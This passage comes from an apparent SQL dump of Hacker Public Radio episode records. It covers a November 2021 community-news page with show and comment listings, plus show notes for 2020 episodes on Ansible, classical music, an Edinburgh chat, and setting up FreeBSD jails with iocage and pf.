href=\"https://hackerpublicradio.org/eps.php?id=3459\" target=\"_blank\">Linux Inlaws S01E42: The Open Source Initiative</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3460\" target=\"_blank\">3460</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-11-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3460\" target=\"_blank\">Dodge and Burn</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3461\" target=\"_blank\">3461</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-11-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3461\" target=\"_blank\">Changes to HPR Branding</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3462\" target=\"_blank\">3462</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-11-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3462\" target=\"_blank\">Metal marbles.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=398\" target=\"_blank\">one_of_spoons</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3463\" target=\"_blank\">3463</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-11-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3463\" target=\"_blank\">Clonezilla: A backup story</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=293\" target=\"_blank\">Rho`n</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3464\" target=\"_blank\">3464</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-11-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3464\" target=\"_blank\">Being irrational</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\" target=\"_blank\">Andrew Conway</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3465\" target=\"_blank\">3465</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-11-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3465\" target=\"_blank\">Walmart Onn 7 inch tablet gen 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3466\" target=\"_blank\">3466</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-11-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3466\" target=\"_blank\">Why HPR has less downloads</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3467\" target=\"_blank\">3467</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-11-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3467\" target=\"_blank\">Protonmail in the terminal</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=399\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3468\" target=\"_blank\">3468</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-11-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3468\" target=\"_blank\">Distro upgrade intervals on my Raspberry Pi</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3469\" target=\"_blank\">3469</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-11-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3469\" target=\"_blank\">Linux Inlaws S01E43: The Great Battle or not</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3470\" target=\"_blank\">3470</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-11-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3470\" target=\"_blank\">External Commands and Emergency Boot Disk</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3471\" target=\"_blank\">3471</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-11-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3471\" target=\"_blank\">The Sony Walkman WM-F41</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3472\" target=\"_blank\">3472</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-11-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3472\" target=\"_blank\">consuming an AQI API</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=243\" target=\"_blank\">Jezra</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3473\" target=\"_blank\">3473</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-11-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3473\" target=\"_blank\">My journey into Amateur Radio</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=314\" target=\"_blank\">thelovebug</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3474\" target=\"_blank\">3474</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-11-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3474\" target=\"_blank\">H P R and Audio Fun</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3475\" target=\"_blank\">3475</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-11-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3475\" target=\"_blank\">How I Watch Everything Using Open Source Software</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=375\" target=\"_blank\">minnix</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3476\" target=\"_blank\">3476</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-11-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3476\" target=\"_blank\">My mutt email setup</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3477\" target=\"_blank\">3477</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-11-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3477\" target=\"_blank\">Picking a Forth</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\" target=\"_blank\">Brian in Ohio</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 20 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 5 comments on\n4 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2169#comments\" target=\"_blank\">hpr2169</a></strong>\n(2016-11-24) \"<em>How I connect to the awesome #oggcastplanet on mobile</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2169#2\" target=\"_blank\">Comment 2</a>:\nclacke on 2021-11-06:\n\"NickServ authentication\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2672#comments\" target=\"_blank\">hpr2672</a></strong>\n(2018-10-30) \"<em>Porteus</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2672#4\" target=\"_blank\">Comment 4</a>:\nhhskladby on 2021-11-02:\n\"Porteus Modularity\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3034#comments\" target=\"_blank\">hpr3034</a></strong>\n(2020-03-19) \"<em>How to bridge Freenode IRC rooms to Matrix.org</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=270\" target=\"_blank\">Thaj Sara</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3034#3\" target=\"_blank\">Comment 3</a>:\nclacke on 2021-11-06:\n\"libera.chat\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3454#comments\" target=\"_blank\">hpr3454</a></strong>\n(2021-10-28) \"<em>Engineering Notation</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3454#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2021-11-02:\n\"suffixes\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3454#3\" target=\"_blank\">Comment 3</a>:\nTrey on 2021-11-04:\n\"Great reminder\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 15 comments on 11 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3457#comments\" target=\"_blank\">hpr3457</a></strong>\n(2021-11-02) \"<em>Tables</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3457#1\" target=\"_blank\">Comment 1</a>:\nJon Kulp on 2021-11-07:\n\"Tables and font sizes\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3457#2\" target=\"_blank\">Comment 2</a>:\nGumnos on 2021-11-17:\n\"Storing data in recsel format?\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3459#comments\" target=\"_blank\">hpr3459</a></strong>\n(2021-11-04) \"<em>Linux Inlaws S01E42: The Open Source Initiative</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3459#1\" target=\"_blank\">Comment 1</a>:\nOliver on 2021-11-29:\n\"TerminusDB Link\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3461#comments\" target=\"_blank\">hpr3461</a></strong>\n(2021-11-08) \"<em>Changes to HPR Branding</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3461#1\" target=\"_blank\">Comment 1</a>:\nMike eSpeak Ray on 2021-11-08:\n\"TTS\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3464#comments\" target=\"_blank\">hpr3464</a></strong>\n(2021-11-11) \"<em>Being irrational</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\" target=\"_blank\">Andrew Conway</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3464#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2021-11-11:\n\"a serendipitous quote\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3465#comments\" target=\"_blank\">hpr3465</a></strong>\n(2021-11-12) \"<em>Walmart Onn 7 inch tablet gen 2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3465#1\" target=\"_blank\">Comment 1</a>:\nPipeManMusic on 2021-11-12:\n\"Real numbers to an off hand comment.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3466#comments\" target=\"_blank\">hpr3466</a></strong>\n(2021-11-15) \"<em>Why HPR has less downloads</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3466#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2021-11-15:\n\"On the rise again\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3470#comments\" target=\"_blank\">hpr3470</a></strong>\n(2021-11-19) \"<em>External Commands and Emergency Boot Disk</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3470#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2021-11-19:\n\"Oh what happy memories\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3470#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2021-11-19:\n\"You are most welcome\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3471#comments\" target=\"_blank\">hpr3471</a></strong>\n(2021-11-22) \"<em>The Sony Walkman WM-F41</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3471#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2021-11-22:\n\"Capacitors\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3471#2\" target=\"_blank\">Comment 2</a>:\nKeith on 2021-11-23:\n\"They really are great devices\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3471#3\" target=\"_blank\">Comment 3</a>:\nJon Kulp on 2021-11-23:\n\"Recapping\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3472#comments\" target=\"_blank\">hpr3472</a></strong>\n(2021-11-23) \"<em>consuming an AQI API</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=243\" target=\"_blank\">Jezra</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3472#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2021-11-27:\n\"I loved the show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3473#comments\" target=\"_blank\">hpr3473</a></strong>\n(2021-11-24) \"<em>My journey into Amateur Radio</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=314\" target=\"_blank\">thelovebug</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3473#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2021-11-24:\n\"Congrats\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3474#comments\" target=\"_blank\">hpr3474</a></strong>\n(2021-11-25) \"<em>H P R and Audio Fun</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3474#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2021-11-27:\n\"No please don\'t add silence to the audio\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-November/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-November/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"providing-a-valid-link-to-your-shows-audio\">Providing a valid link to your show\'s audio</h3>\n<p>In the upload form there is the option to provide shows via a URL. This must be a publicly available URL that is accessible without authentication via command line tools like wget or curl.</p>\n<h3 id=\"older-hpr-shows-on-archive.org\">Older HPR shows on archive.org</h3>\n<p>This month 115 additional shows in the range 1-870 have been uploaded.</p>\n<p>The number of shows left to upload in this range is now: 369.</p>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p><b>Hooray!</b> There are now no more shows that need summaries or tags!</p>\n<p>See the notes for episode <a href=\"https://hackerpublicradio.org/eps.php?id=3456\">3456</a> for a list of all the contributors to this project</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3162,'2020-09-15','Introduction to Ansible',2674,'Klaatu demonstrates some Ansible tricks, and how Ansible can be a better choice than scripting.','<p>\r\nIntroduction to Ansible.\r\n</p>',78,0,0,'CC-BY-SA','ansible,sysadmin',0,0,1),
(3163,'2020-09-16','Linux Inlaws S01E13: The road to communism and freedom',3855,'Our old heroes discuss their legacy and how they arrived at open source software and communism','<ul>\r\n<li>brytlyt: <a href=https://www.brytlyt.com target=_blank>https://www.brytlyt.com</a></li>\r\n<li>OS/2: <a href=https://en.wikipedia.org/wiki/OS/2 target=_blank>https://en.wikipedia.org/wiki/OS/2</a></li>\r\n<li>CCP/M: <a href=https://en.wikipedia.org/wiki/Multiuser_DOS#CCP/M-86 target=_blank>https://en.wikipedia.org/wiki/Multiuser_DOS#CCP/M-86</a></li>\r\n<li>Communism and open source: <a href=https://medium.com/@diego.graziano/open-source-the-communism-of-knowledge-fe76334b9b10 target=_blank>https://medium.com/@diego.graziano/open-source-the-communism-of-knowledge-fe76334b9b10</a></li>\r\n<li>Why Emacs is better than vi (aka The Church of Emacs): <a href=https://www.gnu.org/fun/jokes/gospel.html target=_blank>https://www.gnu.org/fun/jokes/gospel.html</a></li>\r\n<li>(Open)VMS: <a href=https://en.wikipedia.org/wiki/OpenVMS target=_blank>https://en.wikipedia.org/wiki/OpenVMS</a></li>\r\n<li>Mach: <a href=\"https://en.wikipedia.org/wiki/Mach_(kernel)\" target=_blank>https://en.wikipedia.org/wiki/Mach_(kernel)</a></li>\r\n<li>Dave Cutler: <a href=\"https://en.wikipedia.org/wiki/Dave_Cutler\" target=_blank>https://en.wikipedia.org/wiki/Dave_Cutler</a></li>\r\n<li>The ultimate remedy for insomnia: <a href=https://www.routledge.com/Advances-in-Object-Oriented-Metalevel-Architectures-and-Reflection/Zimmermann/p/book/9780849326639 target=_blank>https://www.routledge.com/Advances-in-Object-Oriented-Metalevel-Architectures-and-Reflection/Zimmermann/p/book/9780849326639</a></li>\r\n<li>Randal\'s departure from FLOSS Weekly: <a href=https://twit.tv/posts/inside-twit/doc-searls-new-host-floss-weekly target=_blank>https://twit.tv/posts/inside-twit/doc-searls-new-host-floss-weekly</a></li>\r\n<li>The Rust Foundation: <a href=https://blog.rust-lang.org/2020/08/18/laying-the-foundation-for-rusts-future.html target=_blank>https://blog.rust-lang.org/2020/08/18/laying-the-foundation-for-rusts-future.html</a></li>\r\n</ul>',384,111,1,'CC-BY-SA','open source, communism, escort services, freedom, Mach, VMS, accounts',0,0,1),
(3166,'2020-09-21','Using Ansible to mirror a Git repo',1580,'Klaatu uses Ansible to mirror a Git repo on two separate Git hosts','<p>\r\nI came up with a way to easily clone a repo living on Github and mirror it, with all the latest commits, on another Git host. You can schedule Ansible to run periodically to ensure your mirror stays updated.\r\n</p>\r\n\r\n<p>\r\nThis is <a href=\"https://github.com/dwayne-lee/mirrored_repos\" target=\"_blank\">Dwayne Lee&#39;s improved implementation based on my original script</a>.\r\n</p>',78,0,0,'CC-BY-SA','ansible,sysadmin,git',0,0,1),
(3169,'2020-09-24','Ludwig van Beethoven with a hint of Chopin',2518,'A fine treat to satisfy your earholes.','<p>All music in this episode is freely available from musopen.org.</p>\r\n\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li><a href=\"https://musopen.org/music/2547-piano-sonata-no-14-in-c-sharp-minor-moonlight-sonata-op-27-no-2/\">Beethoven Piano Sonata no. 14 in C-sharp minor \'Moonlight Sonata\', Op. 27 no. 2</a></li>\r\n<li><a href=\"https://musopen.org/music/2567-symphony-no-5-in-c-minor-op-67/\">Beethoven Symphony no. 5 in C minor, Op. 67</a></li>\r\n<li><a href=\"https://musopen.org/music/612-fantaisie-impromptu-op-66/\">Chopin Fantaisie - Impromptu, Op. 66</a></li>\r\n<li><a href=\"https://musopen.org/music/33-piano-sonata-no-8-in-c-minor-pathetique-op-13/\">Beethoven Piano Sonata no. 8 in C minor \'Pathetique\', Op. 13</a></li>\r\n<li><a href=\"https://musopen.org/music/46-piano-sonata-no-21-in-c-major-waldstein-op-53/\">Beethoven Piano Sonata no. 21 in C major \'Waldstein\', Op. 53</a></li>\r\n</ul>\r\n',383,22,0,'CC-BY-SA','Ludwig Van Beethoven,Fredrick Chopin,classical,energetic,music,public domain',0,0,1),
(3167,'2020-09-22','A ramble with the Pentland Squires (part 1)',2547,'MrX and Dave Morriss chat from opposite sides of the Pentland Hills, Edinburgh','<h2 id=\"introduction\">Introduction</h2>\r\n<p>Once again the two HPR hosts based in Edinburgh got together over Mumble to have a chat during the COVID-19 pandemic.</p>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\">MrX</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a></li>\r\n</ul>\r\n<p>We recorded this conversation in the evening of Sunday 23<sup>rd</sup> August 2020.</p>\r\n<p>The audio was quite long when we’d finished, so we decided to cut it into two similar-length pieces and the remainder is released as a second episode.</p>\r\n<h3 id=\"show-title\">Show title</h3>\r\n<p>Although a explaining a joke can often destroy it, it’s probably worth saying that the title of this show was derived from the name of a variety of potato, <em>Pentland Squire</em>, and the fact that the two participants were separated by the Pentland Hills in Edinburgh! <code>\"</code>Where was the joke?<code>\"</code> you ask…</p>\r\n<h2 id=\"notes\">Notes</h2>\r\n<p>Some of the topics we discussed:</p>\r\n<ul>\r\n<li>Our positions relative to the Pentland Hills: MrX is to the East and Dave is to the West of the area, which is to the south of Edinburgh, about 6 or 7 miles out.\r\n<ul>\r\n<li><a href=\"https://www.pentlandhills.org/\">Pentland Hills Regional Park</a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>The state of COVID-19 and the lockdown in Scotland\r\n<ul>\r\n<li><a href=\"https://www.travellingtabby.com/scotland-coronavirus-tracker/\">Scotland Coronavirus Tracker</a></li>\r\n<li><a href=\"https://coronavirus.data.gov.uk/\">Coronavirus (COVID-19) in the UK</a> - no longer offering a simple CSV download as it originally did, but now has a detailed API.</li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Processing HPR shownotes:\r\n<ul>\r\n<li>Experiences:\r\n<ul>\r\n<li>HTML, preferred but needs to be high quality</li>\r\n<li>Markdown, if well formatted this is the easiest to deal with</li>\r\n<li>Plain text, gets converted to Markdown by volunteers</li>\r\n</ul></li>\r\n<li><a href=\"https://github.com/retext-project/retext\">ReText, an editor for Markdown and reStructuredText markup languages</a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Glasgow Podcrawl\r\n<ul>\r\n<li>A virtual meeting this year over Jitsi</li>\r\n<li>Some people joined from very far away such as <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\">Klaatu</a> in New Zealand</li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Scripts written in recent times:\r\n<ul>\r\n<li>MrX: finding the duration of a video with <a href=\"https://ffmpeg.org/ffprobe-all.html\"><code>ffprobe</code></a>.</li>\r\n<li>Dave: choosing a meal from a list in a database to cook for the family</li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Vegetarianism\r\n<ul>\r\n<li>MrX’s experiences</li>\r\n<li>Dave often makes a <a href=\"https://en.wikipedia.org/wiki/Nut_roast\"><em>Nut Roast</em></a> for Christmas dinner</li>\r\n</ul></li>\r\n</ul>\r\n',225,0,1,'CC-BY-SA','COVID-19,physical isolation,discussion',0,0,1),
(3168,'2020-09-23','FreeBSD Jails and iocage',531,'Use iocage to manage freebsd jails','<h2 id=\"freebsd-jails-with-iocage\">FreeBSD Jails with iocage</h2>\r\n<h3 id=\"introduction\">Introduction</h3>\r\n<p>FreeBSD jails allow users to run multiple, isolated instances of FreeBSD on a single server. Iocage simplifies the management of FreeBSD Jails.</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/OS-level_virtualization\">https://en.wikipedia.org/wiki/OS-level_virtualization</a></p>\r\n<p>The jails will be configured to bind to an IP address on the jail host\'s internal network. The host OS will pass traffic from the external network to the jail.</p>\r\n<p>The jails will be managed with Iocage. Iocage uses ZFS properties to store configuration data for each jail, so a ZFS file system is required.</p>\r\n<h3 id=\"network-setup\">Network setup</h3>\r\n<p>These steps will:</p>\r\n<ol>\r\n<li>Set up the internal network.</li>\r\n<li>Enable the <strong>pf</strong> packet filter</li>\r\n<li>Configure pf pass internet traffic to and from the jail.</li>\r\n</ol>\r\n<p>PF is full featured firewall, and can do more than just pass traffic to an internal network. Refer to the PF documentation for additional configuration options.</p>\r\n<h4 id=\"run-the-following-to-configure-the-internal-network-and-enable-pf\">Run the following to configure the internal network and enable pf.</h4>\r\n<pre><code>sysrc cloned_interfaces+=&quot;lo1&quot;\r\nsysrc ifconfig_lo1=&quot;inet 192.0.2.1/24&quot;\r\nsysrc pf_enable=&quot;YES&quot;\r\n</code></pre>\r\n<h4 id=\"put-the-following-in-etcpfconf\">Put the following in <code>/etc/pf.conf</code></h4>\r\n<pre><code># Variables\r\n# ext_if should be set to the hosts external NIC\r\next_if = &quot;vtnet0&quot;\r\njail_if = &quot;lo1&quot;\r\njail_net = $jail_if:network\r\n\r\n# NAT allows the jails to access the external network\r\nnat on $ext_if from $jail_net to any -&gt; ($ext_if)\r\n\r\n# Redirect traffic on port 80 to the web server jail\r\n# Add similar rules for additional jails\r\nrdr pass on $ext_if inet proto tcp to port 80 -&gt; 192.0.2.10\r\n</code></pre>\r\n<p><em>Reboot</em> to activate the network changes</p>\r\n<h3 id=\"zfs\">ZFS</h3>\r\n<p>The best way to use ZFS on a VPS is to attach block storage as a new disk.</p>\r\n<p>If block storage is not available, you can optionally use a file as the ZFS device.</p>\r\n<h4 id=\"enable-and-start-zfs\">Enable and start ZFS.</h4>\r\n<pre><code>sysrc zfs_enable=&quot;YES&quot;\r\nservice zfs start\r\n</code></pre>\r\n<h4 id=\"zfs-using-block-storage\">ZFS using Block storage</h4>\r\n<p>List the available disks. If you are using a VPS, the block store will probably be the second disk.</p>\r\n<pre><code>geom disk list\r\n</code></pre>\r\n<p>Create a ZFS pool named jailstore.</p>\r\n<pre><code>zpool create jailstore  /dev/vtbd1\r\n</code></pre>\r\n<h4 id=\"zfs-using-a-file\">ZFS using a file</h4>\r\n<p>Create the ZFS file.</p>\r\n<pre><code>dd if=/dev/zero of=/zfsfile bs=1M count=4096\r\n</code></pre>\r\n<p>Create a ZFS pool named jailstore.</p>\r\n<pre><code>zpool create jailstore /zfsfile\r\n</code></pre>\r\n<h3 id=\"install-iocage\">Install iocage</h3>\r\n<pre><code>pkg install py36-iocage\r\n</code></pre>\r\n<h3 id=\"using-iocage\">Using iocage</h3>\r\n<pre><code>iocage activate jailstore\r\niocage fetch\r\n\r\niocage create -n www ip4_addr=&quot;lo1|192.0.2.10/24&quot; -r 11.1-RELEASE\r\niocage start www\r\niocage 